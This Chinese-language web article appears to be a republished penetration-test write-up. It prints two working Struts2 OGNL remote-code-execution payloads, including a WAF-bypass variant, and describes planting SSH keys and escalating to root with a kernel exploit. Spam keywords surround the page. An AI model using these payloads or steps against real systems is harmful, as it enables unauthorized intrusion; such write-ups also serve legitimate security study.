91超碰碰碰碰久久久久久综合_超碰av人澡人澡人澡人澡人掠_国产黄大片在线观看画质优化_txt小说免费全本

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

如何利用Struts2漏洞繞過防火墻獲取Root權限

發布時間:2021-11-18 15:47:11 來源:億速云 閱讀:244 作者:柒染 欄目:網絡管理

如何利用Struts2漏洞繞過防火墻獲取Root權限,相信很多沒有經驗的人對此束手無策,為此本文總結了問題出現的原因和解決方法,通過這篇文章希望你能解決這個問題。

關于Apache struts2 CVE-2013–2251漏洞的,由于該漏洞可以導致遠程代碼執行,曾一度被廣泛濫用。該漏洞原理在于,通過操縱前綴為“action:”/”redirect:”/”redirectAction:”的參數,在Struts 低于2.3.15的版本框架中實現遠程代碼執行。此次測試中,我不僅繞過了WAF防火墻實現遠程代碼執行,還利用了某Linux提權漏洞獲取了目標服務器的root管理控制權。整個過程如下:

構造Payload被WAF攔截

首先我在測試一個旅游預訂網站的時候,發現了其網站存在有漏洞的Apache Struts框架,又對“action, redirect,redirectAction”漏洞參數進行了必要的測試,為了實現漏洞利用,需要構造一個OGNL表達式,從這個網站上我得到了一些啟示,由此,我構造了一個執行命令"ifconfig"的有效Payload:

redirect:${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

如何利用Struts2漏洞繞過防火墻獲取Root權限

但不出所料,以上Payload卻被目標服務器上的應用層防火墻攔截了,返回了以下bots響應頁面:

如何利用Struts2漏洞繞過防火墻獲取Root權限    

這時,我總會從根本性上來分析問題,之前提到過,漏洞參數中涉及 “Redirect”,而上述Payload也是利用了 “Redirect”參數構造的,那我們再對目標網站的請求作個Redirect測試吧,把請求跳轉到假設網站http://www.goal.com上來,如下:

如何利用Struts2漏洞繞過防火墻獲取Root權限

構造Payload繞過WAF

可以看到,最終響應頁面中是一個指向假設網站http://www.goal.com的302跳轉頁面。上述直接的Payload被防火墻阻擋了,而這里的跳轉卻能生效,那兩者結合是不是可以玩個防火墻繞過呢?所以,也就有了以下Payload:

redirect:http://www.goal.com/${#a=(new java.lang.ProcessBuilder(new java.lang.String[]{‘ ifconfig’})).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#matt=#context.get(‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’),#matt.getWriter().println(#e),#matt.getWriter().flush(),#matt.getWriter().close()}

測試后發起的請求如下:

如何利用Struts2漏洞繞過防火墻獲取Root權限    

響應測試后,竟然能繞過防火墻執行ifconfig命令,哈哈,是時候歡呼了!

如何利用Struts2漏洞繞過防火墻獲取Root權限

SSH方式獲取shell

好吧,接下來,我就來嘗試遠程管理權限獲取。我使用了反向SSH隧道和公鑰身份驗證進行了嘗試,這種方式,允許SSH用戶無需輸入密碼即可登錄。為此呢,我需要把我入侵測試服務器AWS的SSH公鑰放到目標服務器的授權認證列表~/.ssh/authorized_keys中去,并且,為了證實身份和作反向SSH連接,我還必需在我的測試服務器中添加進目標服務器的id_rsa.pub公鑰。這里涉及的公鑰認證概念可參考此處public key authentication說明。

id_rsa.pub是一個用戶身份公鑰,可以把它添加進其它主機中的authorized_keys文件中,以實現用該用戶身份的登錄行為。authorized_keys則是允許登錄到該特定服務器上的特定用戶的公鑰列表。

第一步,獲取目標服務器的id_rsa.pub文件:

如何利用Struts2漏洞繞過防火墻獲取Root權限

第二步,把authorized_keys文件復制到我的AWS測試服務器中:

如何利用Struts2漏洞繞過防火墻獲取Root權限

第三步,將我AWS測試服務器中構造好的authorized_keys文件復制回目標服務器中:

如何利用Struts2漏洞繞過防火墻獲取Root權限    

使用SSH反向實現最終連接:

如何利用Struts2漏洞繞過防火墻獲取Root權限

root提權

看到了吧,可以獲取遠程管理權限,但卻不是root管理員身份。好吧,為了要root身份提權,我來看看目標服務器上的Linux內核版本:

如何利用Struts2漏洞繞過防火墻獲取Root權限    

是 2.6.32 版本的,Google一下,看看有沒有對應的漏洞,哇,竟然有一個對應的系統提權漏洞:https://github.com/realtalk/cve-2013-2094 ,最終編譯運行exploit,實現root提權:    

如何利用Struts2漏洞繞過防火墻獲取Root權限    

好吧,以上就是我利用apache strut 2漏洞,繞過WAF并結合某Linux提權漏洞實現的一次滲透測試。

看完上述內容,你們掌握如何利用Struts2漏洞繞過防火墻獲取Root權限的方法了嗎?如果還想學到更多技能或想了解更多相關內容,歡迎關注億速云行業資訊頻道,感謝各位的閱讀!

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

湖北省| 临朐县| 平原县| 饶阳县| 安新县| 清徐县| 六盘水市| 介休市| 通州区| 航空| 湘潭县| 五常市| 新兴县| 博客| 济宁市| 酒泉市| 牙克石市| 岱山县| 民丰县| 丰宁| 克山县| 玉林市| 定陶县| 屏南县| 北票市| 漳浦县| 白朗县| 松滋市| 右玉县| 察隅县| 通河县| 乌苏市| 东乌| 山东省| 金塔县| 玉林市| 旅游| 宣恩县| 保德县| 崇左市| 那曲县|